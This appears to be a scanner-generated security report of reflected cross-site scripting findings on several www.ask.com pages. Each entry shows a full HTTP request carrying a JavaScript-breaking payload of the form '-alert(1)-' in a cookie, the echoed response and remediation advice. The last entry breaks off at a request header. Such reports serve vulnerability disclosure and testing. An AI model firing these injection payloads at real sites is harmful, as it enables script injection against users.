The value of the wz_uid cookie is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 38742'-alert(1)-'ce01e4638f7 was submitted in the wz_uid cookie. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Because the user data that is copied into the response is submitted within a cookie, the application's behaviour is not trivial to exploit in an attack against another user. Typically, you will need to find a means of setting an arbitrary cookie value in the victim's browser in order to exploit the vulnerability. This limitation considerably mitigates the impact of the vulnerability.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /answers/000/Notification HTTP/1.1 Host: www.ask.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=252994457.1296155592.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); gc=; tbe=1; qh=1-cmVndWxhdG9yK2JvYXQ.|cmVndWxhdG9yK2JvYXQrbm9ydGgrY2Fyb2xpbmE.; accepting=1; wz_scnt=1; gct=; puser=pt=VGh1LTI3LUphbi0yMDExLTE5OjE1OjM2LVVUQw%3D%3D&po=0&pp=dir; skftc=ftc_ret=0&ftc_ac4=0&ftc_ord=0&ftc_ac2=0&ftc_ac3=0&ftc_ac1=0&ftc_scr=0&ftc_pst=0; ldpt=porg=5488|0~5489|0~5490|1; qc=0; clc=SW5kdXN0cmllcy9UcmFuc3BvcnRhdGlvbl9hbmRfTG9naXN0aWNzL01hcml0aW1lX1RyYW5zcG9ydA..; gcc=U3BvcnRzL1Nwb3J0aW5nX0dvb2Rz; cu.wz=0; gcht=; wz_sid=014DDB4118C033B329ACD8C41BD460F3; wz_uid=0A4EDD4111C033B329ACD8C41BD460F338742'-alert(1)-'ce01e4638f7; __utma=252994457.741105602.1296155592.1296155592.1296155592.1; __utmc=252994457; __utmb=252994457.3.10.1296155592; user=o=0&l=dir;
The value of the wz_uid cookie is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 8427e'-alert(1)-'83fed6c68a0 was submitted in the wz_uid cookie. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.
Because the user data that is copied into the response is submitted within a cookie, the application's behaviour is not trivial to exploit in an attack against another user. Typically, you will need to find a means of setting an arbitrary cookie value in the victim's browser in order to exploit the vulnerability. This limitation considerably mitigates the impact of the vulnerability.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /blogsearch?qsrc=0&o=0&l=dir&q= HTTP/1.1 Host: www.ask.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=252994457.1296155592.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); gc=; tbe=1; qh=1-cmVndWxhdG9yK2JvYXQ.|cmVndWxhdG9yK2JvYXQrbm9ydGgrY2Fyb2xpbmE.; accepting=1; wz_scnt=1; gct=; puser=pt=VGh1LTI3LUphbi0yMDExLTE5OjE1OjM2LVVUQw%3D%3D&po=0&pp=dir; skftc=ftc_ret=0&ftc_ac4=0&ftc_ord=0&ftc_ac2=0&ftc_ac3=0&ftc_ac1=0&ftc_scr=0&ftc_pst=0; ldpt=porg=5488|0~5489|0~5490|1; qc=0; clc=SW5kdXN0cmllcy9UcmFuc3BvcnRhdGlvbl9hbmRfTG9naXN0aWNzL01hcml0aW1lX1RyYW5zcG9ydA..; gcc=U3BvcnRzL1Nwb3J0aW5nX0dvb2Rz; cu.wz=0; gcht=; wz_sid=014DDB4118C033B329ACD8C41BD460F3; wz_uid=0A4EDD4111C033B329ACD8C41BD460F38427e'-alert(1)-'83fed6c68a0; __utma=252994457.741105602.1296155592.1296155592.1296155592.1; __utmc=252994457; __utmb=252994457.3.10.1296155592; user=o=0&l=dir;
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Strict//EN"><html><head><title>Ask.com - What's Your Question?</title><meta name="description" content="Ask.com is the #1 question answering service that de ...[SNIP]... <iframe/>');el.attr('src','http://fls.doubleclick.net/activityi;src=2903398;type=homep773;cat=ask_e764;u1=0A4EDD4111C033B329ACD8C41BD460F38427e'-alert(1)-'83fed6c68a0;u4=;u3=;u2=0;ord=-249082308?').attr('width','1').attr('height','1').attr('frameborder','0');$j('body').append(el);});JASK.namespace("hp.dialogs");$j(document).ready(function() {$j.each(JASK.hp.dialogs ...[SNIP]...
The value of the wz_uid cookie is copied into a JavaScript string which is encapsulated in single quotation marks. The payload d6cd5'-alert(1)-'1360ad7978f was submitted in the wz_uid cookie. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Because the user data that is copied into the response is submitted within a cookie, the application's behaviour is not trivial to exploit in an attack against another user. Typically, you will need to find a means of setting an arbitrary cookie value in the victim's browser in order to exploit the vulnerability. This limitation considerably mitigates the impact of the vulnerability.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /homepage HTTP/1.1 Host: www.ask.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=252994457.1296155592.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); gc=; tbe=1; qh=1-cmVndWxhdG9yK2JvYXQ.|cmVndWxhdG9yK2JvYXQrbm9ydGgrY2Fyb2xpbmE.; accepting=1; wz_scnt=1; gct=; puser=pt=VGh1LTI3LUphbi0yMDExLTE5OjE1OjM2LVVUQw%3D%3D&po=0&pp=dir; skftc=ftc_ret=0&ftc_ac4=0&ftc_ord=0&ftc_ac2=0&ftc_ac3=0&ftc_ac1=0&ftc_scr=0&ftc_pst=0; ldpt=porg=5488|0~5489|0~5490|1; qc=0; clc=SW5kdXN0cmllcy9UcmFuc3BvcnRhdGlvbl9hbmRfTG9naXN0aWNzL01hcml0aW1lX1RyYW5zcG9ydA..; gcc=U3BvcnRzL1Nwb3J0aW5nX0dvb2Rz; cu.wz=0; gcht=; wz_sid=014DDB4118C033B329ACD8C41BD460F3; wz_uid=0A4EDD4111C033B329ACD8C41BD460F3d6cd5'-alert(1)-'1360ad7978f; __utma=252994457.741105602.1296155592.1296155592.1296155592.1; __utmc=252994457; __utmb=252994457.3.10.1296155592; user=o=0&l=dir;
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Strict//EN"><html><head><title>Ask.com - What's Your Question?</title><meta name="description" content="Ask.com is the #1 question answering service that de ...[SNIP]... <iframe/>');el.attr('src','http://fls.doubleclick.net/activityi;src=2903398;type=homep773;cat=ask_e764;u1=0A4EDD4111C033B329ACD8C41BD460F3d6cd5'-alert(1)-'1360ad7978f;u4=;u3=;u2=0;ord=-679133607?').attr('width','1').attr('height','1').attr('frameborder','0');$j('body').append(el);});JASK.namespace("hp.dialogs");$j(document).ready(function() {$j.each(JASK.hp.dialogs ...[SNIP]...
The value of the wz_sid cookie is copied into a JavaScript string which is encapsulated in single quotation marks. The payload db982'-alert(1)-'2285582d443 was submitted in the wz_sid cookie. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Because the user data that is copied into the response is submitted within a cookie, the application's behaviour is not trivial to exploit in an attack against another user. Typically, you will need to find a means of setting an arbitrary cookie value in the victim's browser in order to exploit the vulnerability. This limitation considerably mitigates the impact of the vulnerability.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /jsignin HTTP/1.1 Host: www.ask.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=252994457.1296155592.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); gc=; tbe=1; qh=1-cmVndWxhdG9yK2JvYXQ.|cmVndWxhdG9yK2JvYXQrbm9ydGgrY2Fyb2xpbmE.; accepting=1; wz_scnt=1; gct=; puser=pt=VGh1LTI3LUphbi0yMDExLTE5OjE1OjM2LVVUQw%3D%3D&po=0&pp=dir; skftc=ftc_ret=0&ftc_ac4=0&ftc_ord=0&ftc_ac2=0&ftc_ac3=0&ftc_ac1=0&ftc_scr=0&ftc_pst=0; ldpt=porg=5488|0~5489|0~5490|1; qc=0; clc=SW5kdXN0cmllcy9UcmFuc3BvcnRhdGlvbl9hbmRfTG9naXN0aWNzL01hcml0aW1lX1RyYW5zcG9ydA..; gcc=U3BvcnRzL1Nwb3J0aW5nX0dvb2Rz; cu.wz=0; gcht=; wz_sid=014DDB4118C033B329ACD8C41BD460F3db982'-alert(1)-'2285582d443; wz_uid=0A4EDD4111C033B329ACD8C41BD460F3; __utma=252994457.741105602.1296155592.1296155592.1296155592.1; __utmc=252994457; __utmb=252994457.3.10.1296155592; user=o=0&l=dir;
Response
HTTP/1.1 200 OK Server: Apache Cache-Control: no-cache Content-Type: text/html;charset=UTF-8 Date: Thu, 27 Jan 2011 19:44:34 GMT Connection: close Connection: Transfer-Encoding Content-Length: 35004
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Strict//EN">
The value of the wz_uid cookie is copied into a JavaScript string which is encapsulated in single quotation marks. The payload e170a'-alert(1)-'2de3f3a6cc3 was submitted in the wz_uid cookie. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Because the user data that is copied into the response is submitted within a cookie, the application's behaviour is not trivial to exploit in an attack against another user. Typically, you will need to find a means of setting an arbitrary cookie value in the victim's browser in order to exploit the vulnerability. This limitation considerably mitigates the impact of the vulnerability.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /jsignin HTTP/1.1 Host: www.ask.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=252994457.1296155592.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); gc=; tbe=1; qh=1-cmVndWxhdG9yK2JvYXQ.|cmVndWxhdG9yK2JvYXQrbm9ydGgrY2Fyb2xpbmE.; accepting=1; wz_scnt=1; gct=; puser=pt=VGh1LTI3LUphbi0yMDExLTE5OjE1OjM2LVVUQw%3D%3D&po=0&pp=dir; skftc=ftc_ret=0&ftc_ac4=0&ftc_ord=0&ftc_ac2=0&ftc_ac3=0&ftc_ac1=0&ftc_scr=0&ftc_pst=0; ldpt=porg=5488|0~5489|0~5490|1; qc=0; clc=SW5kdXN0cmllcy9UcmFuc3BvcnRhdGlvbl9hbmRfTG9naXN0aWNzL01hcml0aW1lX1RyYW5zcG9ydA..; gcc=U3BvcnRzL1Nwb3J0aW5nX0dvb2Rz; cu.wz=0; gcht=; wz_sid=014DDB4118C033B329ACD8C41BD460F3; wz_uid=0A4EDD4111C033B329ACD8C41BD460F3e170a'-alert(1)-'2de3f3a6cc3; __utma=252994457.741105602.1296155592.1296155592.1296155592.1; __utmc=252994457; __utmb=252994457.3.10.1296155592; user=o=0&l=dir;
Response
HTTP/1.1 200 OK Server: Apache Cache-Control: no-cache Content-Type: text/html;charset=UTF-8 Date: Thu, 27 Jan 2011 19:44:35 GMT Connection: close Connection: Transfer-Encoding Content-Length: 35005
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Strict//EN">
The value of the wz_uid cookie is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 18b30'-alert(1)-'8eaac599238 was submitted in the wz_uid cookie. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.
Because the user data that is copied into the response is submitted within a cookie, the application's behaviour is not trivial to exploit in an attack against another user. Typically, you will need to find a means of setting an arbitrary cookie value in the victim's browser in order to exploit the vulnerability. This limitation considerably mitigates the impact of the vulnerability.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /more HTTP/1.1 Host: www.ask.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=252994457.1296155592.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); gc=; tbe=1; qh=1-cmVndWxhdG9yK2JvYXQ.|cmVndWxhdG9yK2JvYXQrbm9ydGgrY2Fyb2xpbmE.; accepting=1; wz_scnt=1; gct=; puser=pt=VGh1LTI3LUphbi0yMDExLTE5OjE1OjM2LVVUQw%3D%3D&po=0&pp=dir; skftc=ftc_ret=0&ftc_ac4=0&ftc_ord=0&ftc_ac2=0&ftc_ac3=0&ftc_ac1=0&ftc_scr=0&ftc_pst=0; ldpt=porg=5488|0~5489|0~5490|1; qc=0; clc=SW5kdXN0cmllcy9UcmFuc3BvcnRhdGlvbl9hbmRfTG9naXN0aWNzL01hcml0aW1lX1RyYW5zcG9ydA..; gcc=U3BvcnRzL1Nwb3J0aW5nX0dvb2Rz; cu.wz=0; gcht=; wz_sid=014DDB4118C033B329ACD8C41BD460F3; wz_uid=0A4EDD4111C033B329ACD8C41BD460F318b30'-alert(1)-'8eaac599238; __utma=252994457.741105602.1296155592.1296155592.1296155592.1; __utmc=252994457; __utmb=252994457.3.10.1296155592; user=o=0&l=dir;
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Strict//EN"><html><head><title>Ask.com - What's Your Question?</title><meta name="description" content="Ask.com is the #1 question answering service that de ...[SNIP]... <iframe/>');el.attr('src','http://fls.doubleclick.net/activityi;src=2903398;type=homep773;cat=ask_e764;u1=0A4EDD4111C033B329ACD8C41BD460F318b30'-alert(1)-'8eaac599238;u4=;u3=;u2=0;ord=-751136927?').attr('width','1').attr('height','1').attr('frameborder','0');$j('body').append(el);});JASK.namespace("hp.dialogs");$j(document).ready(function() {$j.each(JASK.hp.dialogs ...[SNIP]...
The value of the user cookie is copied into a JavaScript string which is encapsulated in single quotation marks. The payload cfb62'-alert(1)-'5f081d89f5f was submitted in the user cookie. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.
Because the user data that is copied into the response is submitted within a cookie, the application's behaviour is not trivial to exploit in an attack against another user. Typically, you will need to find a means of setting an arbitrary cookie value in the victim's browser in order to exploit the vulnerability. This limitation considerably mitigates the impact of the vulnerability.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /pictures HTTP/1.1 Host: www.ask.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=252994457.1296155592.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); gc=; tbe=1; qh=1-cmVndWxhdG9yK2JvYXQ.|cmVndWxhdG9yK2JvYXQrbm9ydGgrY2Fyb2xpbmE.; accepting=1; wz_scnt=1; gct=; puser=pt=VGh1LTI3LUphbi0yMDExLTE5OjE1OjM2LVVUQw%3D%3D&po=0&pp=dir; skftc=ftc_ret=0&ftc_ac4=0&ftc_ord=0&ftc_ac2=0&ftc_ac3=0&ftc_ac1=0&ftc_scr=0&ftc_pst=0; ldpt=porg=5488|0~5489|0~5490|1; qc=0; clc=SW5kdXN0cmllcy9UcmFuc3BvcnRhdGlvbl9hbmRfTG9naXN0aWNzL01hcml0aW1lX1RyYW5zcG9ydA..; gcc=U3BvcnRzL1Nwb3J0aW5nX0dvb2Rz; cu.wz=0; gcht=; wz_sid=014DDB4118C033B329ACD8C41BD460F3; wz_uid=0A4EDD4111C033B329ACD8C41BD460F3; __utma=252994457.741105602.1296155592.1296155592.1296155592.1; __utmc=252994457; __utmb=252994457.3.10.1296155592; user=o=0&l=dircfb62'-alert(1)-'5f081d89f5f;
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Strict//EN"> <html> <head>
<tit ...[SNIP]...
var _matchUrl = '/afc-match?q=&page=1&ac=24&qid=B3B3624DFFAF7BCB1486B2791219065B&qsrc=121&dm=all&qrt=2&lid=5490&o=0&l=dircfb62'-alert(1)-'5f081d89f5f';
The value of the wz_sid cookie is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 99e5c'-alert(1)-'dada02f5bb1 was submitted in the wz_sid cookie. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Because the user data that is copied into the response is submitted within a cookie, the application's behaviour is not trivial to exploit in an attack against another user. Typically, you will need to find a means of setting an arbitrary cookie value in the victim's browser in order to exploit the vulnerability. This limitation considerably mitigates the impact of the vulnerability.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /pictures?qsrc=167&o=0&l=dir&q=regulator+boat&v=14 HTTP/1.1 Host: www.ask.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=252994457.1296155592.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); gc=; tbe=1; qh=1-cmVndWxhdG9yK2JvYXQ.|cmVndWxhdG9yK2JvYXQrbm9ydGgrY2Fyb2xpbmE.; accepting=1; wz_scnt=1; gct=; puser=pt=VGh1LTI3LUphbi0yMDExLTE5OjE1OjM2LVVUQw%3D%3D&po=0&pp=dir; skftc=ftc_ret=0&ftc_ac4=0&ftc_ord=0&ftc_ac2=0&ftc_ac3=0&ftc_ac1=0&ftc_scr=0&ftc_pst=0; ldpt=porg=5488|0~5489|0~5490|1; qc=0; clc=SW5kdXN0cmllcy9UcmFuc3BvcnRhdGlvbl9hbmRfTG9naXN0aWNzL01hcml0aW1lX1RyYW5zcG9ydA..; gcc=U3BvcnRzL1Nwb3J0aW5nX0dvb2Rz; cu.wz=0; gcht=; wz_sid=014DDB4118C033B329ACD8C41BD460F399e5c'-alert(1)-'dada02f5bb1; wz_uid=0A4EDD4111C033B329ACD8C41BD460F3; __utma=252994457.741105602.1296155592.1296155592.1296155592.1; __utmc=252994457; __utmb=252994457.3.10.1296155592; user=o=0&l=dir;
The value of the wz_sid cookie is copied into a JavaScript string which is encapsulated in single quotation marks. The payload dc7ae'-alert(1)-'67644b0c25e was submitted in the wz_sid cookie. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.
Because the user data that is copied into the response is submitted within a cookie, the application's behaviour is not trivial to exploit in an attack against another user. Typically, you will need to find a means of setting an arbitrary cookie value in the victim's browser in order to exploit the vulnerability. This limitation considerably mitigates the impact of the vulnerability.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /pictures HTTP/1.1 Host: www.ask.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=252994457.1296155592.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); gc=; tbe=1; qh=1-cmVndWxhdG9yK2JvYXQ.|cmVndWxhdG9yK2JvYXQrbm9ydGgrY2Fyb2xpbmE.; accepting=1; wz_scnt=1; gct=; puser=pt=VGh1LTI3LUphbi0yMDExLTE5OjE1OjM2LVVUQw%3D%3D&po=0&pp=dir; skftc=ftc_ret=0&ftc_ac4=0&ftc_ord=0&ftc_ac2=0&ftc_ac3=0&ftc_ac1=0&ftc_scr=0&ftc_pst=0; ldpt=porg=5488|0~5489|0~5490|1; qc=0; clc=SW5kdXN0cmllcy9UcmFuc3BvcnRhdGlvbl9hbmRfTG9naXN0aWNzL01hcml0aW1lX1RyYW5zcG9ydA..; gcc=U3BvcnRzL1Nwb3J0aW5nX0dvb2Rz; cu.wz=0; gcht=; wz_sid=014DDB4118C033B329ACD8C41BD460F3dc7ae'-alert(1)-'67644b0c25e; wz_uid=0A4EDD4111C033B329ACD8C41BD460F3; __utma=252994457.741105602.1296155592.1296155592.1296155592.1; __utmc=252994457; __utmb=252994457.3.10.1296155592; user=o=0&l=dir;
The value of the wz_uid cookie is copied into a JavaScript string which is encapsulated in single quotation marks. The payload d3f51'-alert(1)-'c98ef9a8c96 was submitted in the wz_uid cookie. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Because the user data that is copied into the response is submitted within a cookie, the application's behaviour is not trivial to exploit in an attack against another user. Typically, you will need to find a means of setting an arbitrary cookie value in the victim's browser in order to exploit the vulnerability. This limitation considerably mitigates the impact of the vulnerability.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /pictures?qsrc=167&o=0&l=dir&q=regulator+boat&v=14 HTTP/1.1 Host: www.ask.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=252994457.1296155592.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); gc=; tbe=1; qh=1-cmVndWxhdG9yK2JvYXQ.|cmVndWxhdG9yK2JvYXQrbm9ydGgrY2Fyb2xpbmE.; accepting=1; wz_scnt=1; gct=; puser=pt=VGh1LTI3LUphbi0yMDExLTE5OjE1OjM2LVVUQw%3D%3D&po=0&pp=dir; skftc=ftc_ret=0&ftc_ac4=0&ftc_ord=0&ftc_ac2=0&ftc_ac3=0&ftc_ac1=0&ftc_scr=0&ftc_pst=0; ldpt=porg=5488|0~5489|0~5490|1; qc=0; clc=SW5kdXN0cmllcy9UcmFuc3BvcnRhdGlvbl9hbmRfTG9naXN0aWNzL01hcml0aW1lX1RyYW5zcG9ydA..; gcc=U3BvcnRzL1Nwb3J0aW5nX0dvb2Rz; cu.wz=0; gcht=; wz_sid=014DDB4118C033B329ACD8C41BD460F3; wz_uid=0A4EDD4111C033B329ACD8C41BD460F3d3f51'-alert(1)-'c98ef9a8c96; __utma=252994457.741105602.1296155592.1296155592.1296155592.1; __utmc=252994457; __utmb=252994457.3.10.1296155592; user=o=0&l=dir;
The value of the wz_uid cookie is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 66567'-alert(1)-'66b6682653d was submitted in the wz_uid cookie. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.
Because the user data that is copied into the response is submitted within a cookie, the application's behaviour is not trivial to exploit in an attack against another user. Typically, you will need to find a means of setting an arbitrary cookie value in the victim's browser in order to exploit the vulnerability. This limitation considerably mitigates the impact of the vulnerability.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /pictures HTTP/1.1 Host: www.ask.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=252994457.1296155592.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); gc=; tbe=1; qh=1-cmVndWxhdG9yK2JvYXQ.|cmVndWxhdG9yK2JvYXQrbm9ydGgrY2Fyb2xpbmE.; accepting=1; wz_scnt=1; gct=; puser=pt=VGh1LTI3LUphbi0yMDExLTE5OjE1OjM2LVVUQw%3D%3D&po=0&pp=dir; skftc=ftc_ret=0&ftc_ac4=0&ftc_ord=0&ftc_ac2=0&ftc_ac3=0&ftc_ac1=0&ftc_scr=0&ftc_pst=0; ldpt=porg=5488|0~5489|0~5490|1; qc=0; clc=SW5kdXN0cmllcy9UcmFuc3BvcnRhdGlvbl9hbmRfTG9naXN0aWNzL01hcml0aW1lX1RyYW5zcG9ydA..; gcc=U3BvcnRzL1Nwb3J0aW5nX0dvb2Rz; cu.wz=0; gcht=; wz_sid=014DDB4118C033B329ACD8C41BD460F3; wz_uid=0A4EDD4111C033B329ACD8C41BD460F366567'-alert(1)-'66b6682653d; __utma=252994457.741105602.1296155592.1296155592.1296155592.1; __utmc=252994457; __utmb=252994457.3.10.1296155592; user=o=0&l=dir;
The value of the user cookie is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 6106d'-alert(1)-'f92bc21481 was submitted in the user cookie. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Because the user data that is copied into the response is submitted within a cookie, the application's behaviour is not trivial to exploit in an attack against another user. Typically, you will need to find a means of setting an arbitrary cookie value in the victim's browser in order to exploit the vulnerability. This limitation considerably mitigates the impact of the vulnerability.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /pictureslanding HTTP/1.1 Host: www.ask.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: cu.wz=0; gcht=; gc=; tbe=1; accepting=1; user=o=0&l=dir6106d'-alert(1)-'f92bc21481; skftc=ftc_ret=0&ftc_ac4=0&ftc_ord=0&ftc_ac2=0&ftc_ac3=0&ftc_ac1=0&ftc_scr=0&ftc_pst=0; puser=pt=VGh1LTI3LUphbi0yMDExLTE5OjEyOjQzLVVUQw%3D%3D&po=0&pp=dir; gct=; qc=0;
The value of the wz_sid cookie is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 123d4'-alert(1)-'c8155c2f651 was submitted in the wz_sid cookie. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Because the user data that is copied into the response is submitted within a cookie, the application's behaviour is not trivial to exploit in an attack against another user. Typically, you will need to find a means of setting an arbitrary cookie value in the victim's browser in order to exploit the vulnerability. This limitation considerably mitigates the impact of the vulnerability.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /pictureslanding HTTP/1.1 Host: www.ask.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=252994457.1296155592.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); gc=; tbe=1; qh=1-cmVndWxhdG9yK2JvYXQ.|cmVndWxhdG9yK2JvYXQrbm9ydGgrY2Fyb2xpbmE.; accepting=1; wz_scnt=1; gct=; puser=pt=VGh1LTI3LUphbi0yMDExLTE5OjE1OjM2LVVUQw%3D%3D&po=0&pp=dir; skftc=ftc_ret=0&ftc_ac4=0&ftc_ord=0&ftc_ac2=0&ftc_ac3=0&ftc_ac1=0&ftc_scr=0&ftc_pst=0; ldpt=porg=5488|0~5489|0~5490|1; qc=0; clc=SW5kdXN0cmllcy9UcmFuc3BvcnRhdGlvbl9hbmRfTG9naXN0aWNzL01hcml0aW1lX1RyYW5zcG9ydA..; gcc=U3BvcnRzL1Nwb3J0aW5nX0dvb2Rz; cu.wz=0; gcht=; wz_sid=014DDB4118C033B329ACD8C41BD460F3123d4'-alert(1)-'c8155c2f651; wz_uid=0A4EDD4111C033B329ACD8C41BD460F3; __utma=252994457.741105602.1296155592.1296155592.1296155592.1; __utmc=252994457; __utmb=252994457.3.10.1296155592; user=o=0&l=dir;
The value of the wz_uid cookie is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 4ba45'-alert(1)-'b669950cf09 was submitted in the wz_uid cookie. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Because the user data that is copied into the response is submitted within a cookie, the application's behaviour is not trivial to exploit in an attack against another user. Typically, you will need to find a means of setting an arbitrary cookie value in the victim's browser in order to exploit the vulnerability. This limitation considerably mitigates the impact of the vulnerability.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
